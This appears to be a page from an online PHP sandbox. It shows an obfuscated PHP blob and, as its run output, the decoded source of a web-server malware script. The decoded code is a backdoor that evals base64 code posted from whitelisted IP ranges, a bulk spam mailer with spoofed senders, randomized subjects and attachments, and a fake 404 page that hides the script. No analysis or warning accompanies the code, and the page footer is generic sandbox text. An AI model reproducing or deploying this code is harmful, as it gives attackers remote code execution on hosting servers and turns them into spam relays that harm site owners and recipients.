'WhRsdhqHrVvHTUuOcQImBPqH7PqH7PqHBPqH7PqH7Pq0HUyhlY2ngPq7TUyHm1x1gG2sgGDMAJlHNBC0IURjTPx1gG2sgGDM7B'.
'CSBPqH7PqH7PqHBPqH7PqH7PqHTGfsdPzc7PCPZPqntUROTU21dPzc7'.
'PCPZPqnt2LnghusahusTPzc7UfOmGLXZqCH7PqH7PqH7hLpA9uXtPqOHUfsNUC7TUyHAPqTBPq'.
'H7PqH7Pq0ZqCH7PqH7PqH7PqH7PqnlU2375ac7MuUlUROTBqnfGqe73IHlFqTZPqSkPF'.
'uxc5an7iqec52MNqzMriq+c5Dn7iqKc5Dn7CHk5et7PqH7qCH7PqH7PqH7PqH7PqSkPFqbcQzMNiqlc52n7Fq8c5H7'.
'c5DMmFqZc5anpEqocQS7c5bMmFqdc5NMNiqlc5wMNiqlPFqlPFq8c5ZMNhuqc52MNhuqc5X7BCS'.
'BPqH7PqH7PqH7PqH7YRQtPq671upbUuscURFcURM71CQ7GDnlGuEdBqnlU23mPq1GGgWr'.
'2x1G9CPAPIcEnTO3XcX7BMt7PqH7PqH7PqH7Pq0ZqCH7PqH7PqH7Pq'.
'H7PqH7PqHNBCzMiEqec5VMNiqZc5ZMmiq8c577cQVMiiqKPFu0'.
'cQbMrFuqc5zMNhu5Pqc7c5wMNiuHcQzMihq8cQ5MrFuHcQVMihqSPFq8c5ZMNhuqc52MNhuqPqtNqCH7'.
'PqH7PqH7PqH7PqH7PqHTYOETU2ngQDngUqHEPxnlhRXZqCH7PqH7PqH7PqH7PqH7PqHBPqH7Pq'.
'H7PqH7PqH7PqH7PqntUROTU21dPzc7GDsCGDnlBqnlU23mPzHmPxFcGy0NGl7TGfsd5qHC2x1G9gWl2uoCBvTZqCH7PqH7PqH7P'.
'qH7PqH7PqHTGfsdPzc7GDsCGDnlBqnlU23mPxFcGy0NGl7TGfsd5qHC2x1G9gWl2u'.
'oCBvmcBImBPqH7PqH7PqH7PqH7PqH7PHt7PqH7PqH7PqH7PqH7PqH75lt7vuspUuslGl0c9l00Gy1p4vHk5et7PqH7P'.
'qH7PqH7PqH7PqH7YRQtPqneQ21p92F91D1ghxsl9ChhVIcyYuspUuslGlG7bxe71x0pGfOiGKmyGf'.
'sch21r1KcEVvhpGy1p4vGBPqH7PqH7PqH7PqH7PqH7PqH7Pq0SbqHtY2FdU2Mt1x0pGfOiGKmyGfsTY21gQDMy'.
'2vT71CQ71x0pGfOiGKmyGfsTY21gQDMy2IcEhx1KUvT7BMt7Pq'.
'H7PqH7PqH7PqH7PqH74et7PqH7PqH7PqH7PqH7PqH7PqH7PqntPzc7U2pe9uETUv7C2x1G9CPmPq'.
'ntUROTU21dBImBPqH7PqH7PqH7PqH7PqH7PqH7PqHTYuspUuslG'.
'lHEPuOlGfOjBqTZqCH7PqH7PqH7PqH7PqH7PqH7PqH7UfElUROaYq771u77Q2371umEVCnLPqT'.
'BPqH7PqH7PqH7PqH7PqH7PqH7Pq0ZqCH7PqH7PqH7PqH7PqH7PqH7PqH7PqH7PugfBq0dhx1e9'.
'D3t1xQmPqG81lT7BMt7PqH7PqH7PqH7PqH7PqH7PqH7PqH7Pq0ZqCH7PqH7PqH7PqH7PqH7PqH'.
'7PqH7PqH7PqH7PqHTYlHEPxFKQyFcGC7ThCe73qe7GDnlGuEdBqnL5qHyJCGABImBPqH7PqH7PqH7PqH7PqH7PqH7PqH7P'.
'qH7PqH7PqnLPzc7hx1A9vpdhR1dhxPt1xQmPxFcGy0NGl7ThCe71dtyBvmWBvTZqCH7PqH7PqH7PqH7'.
'PqH7PqH7PqH7PqH7PxcBPqH7PqH7PqH7PqH7PqH7PqH7PqH7PqH71upgQRngGyF9GD'.
'nlhuEKGx0gGC7TYlghPzc71xQZqCH7PqH7PqH7PqH7PqH7PqH7PqH7bMt7PqH7PqH7PqH7PqH7PqH7bM'.
't7PqH7PqH7PqH7PqH7PqH7YRQtPugdGLscBqneQ21p92F91D1gUuglURFc1KcAPqQfPqneQ21p92F91D1gUuglURFc1KcEV'.
'2nlhRX71CQ7Y2FdU2Mt1upgQRngGyF91cWVMcOXvXEJ1KcAPqTBPqH'.
'7PqH7PqH7PqH7PqH7PxmBPqH7PqH7PqH7PqH7PqH7PqH7PqHTGuOlQRKdRlhKGfey2vHEPqntUROTU21dRlh3I'.
'cF0s6gVIChhJet7PqH7PqH7PqH7PqH7PqH7PqH7PugfBqHpY2FdU2Mt1x0pGfOiGKmyGfsT'.
'Y21gQDMiQLEK9yMy2vT7BvHTGuOlQRKdRlhlURnAGfsahqKa9DsrhqhhPzc73zmBPqH7PqH7PqH7PqH7PqH7PqH7P'.
'q0AUC771x0pGfOiGKmyGfsTY21gQDMiQLEK9yMy2IeW3qHAqCH7PqH7PqH7PqH7PqH7PqH7PqH74et7P'.
'qH7PqH7PqH7PqH7PqH7PqH7PqH7PqHTGuOlQRKdRlhlURnAGfsahqKa9DsrhqhhBlmZqCH7PqH7PqH7PqH7PqH7PqH7'.
'PqH7PqH7PqnfhRjaPzc72KEusXjzs6gVIgEbJet7PqH7PqH7PqH7PqH7PqH7PqH7PqH7Pq0lU2nKGfo7Mugd2LECYfsah'.
'q7ThupAGlT7VlHThupAGlc+1uUK9f3t1x0pGfOiGlT7JCHTUysrQl'.
'7TGuOlQRKdBImBPqH7PqH7PqH7PqH7PqH7PqH7Pq0EqCH7PqH7PqH7PqH7PqH7Pq0EqCH7PqH7PqH7PqH7PqH7Pq0A'.
'UC771x0pGfOiGKmyGfsch21r1KcEVvhtUROTU21d1lHAPx1ghxsl9CHTYuspUuslGdmBPqH7PqH7PqH7PqH7b'.
'Mt7PqH7PqH7PxcBPqH7PqH7PqHBPqH7PqH7Pq0HUfFm9DFgBqnfGqTZqCH7Pq0EqCH7Pq0g9xFgPx1ghxsl'.
'9C0uMXWInImNBCHTU21lGDnl5CngGy1r9dm7BCSBPqH7PHt7PqH7YRQtPqneQ21p92F91D1ghxsl9ChhVIc'.
'yQ21lQ2TyPqT71x1gGlHEPuOlGfOjBqhtUROTU21d1dc+1upgQRngGy3mPqha9L'.
'jcURjc1dc+1x1gGlTZqCH7PqHBPqH7Px1ghxsl9CHTGfsdJeAE';
echo(v76FPGN($vFI0LTR, $v24FJB1));?>
- Output for git.master, git.master_jit, rfc.property-hooks
- if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{
}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}
error_404();
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}
if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}
$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
if(empty($emails))
{
exit();
}
foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);
$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$mailer = $mailers[array_rand($mailers)];
send_mail($from, $email, $theme, $message, $mailer);
}
}
function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";
$un = strtoupper(uniqid(time()));
$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";
$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";
if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}
if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("@", $content);
$content = $tokens[0] . "@" . $host . ">";
return $content;
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
exit( $content );
}
function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}
if( $params['url']=='' ) return FALSE;
if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';
$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";
$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";
if( $params['method'] == 'POST' ) $request .= $data;
@fwrite ($fp,$request); /* Send request */
$res = ""; $headers = ""; $h_detected = false;
while( !@feof($fp) )
{
$res .= @fread($fp, 1024); /* читаем контент */
/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;
$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);
/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return @is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}
@fclose($fp);
}
else return FALSE;/* $errstr.$errno; */
if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
return $res;
}
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
preferences:
49.27 ms | 429 KiB | 8 Q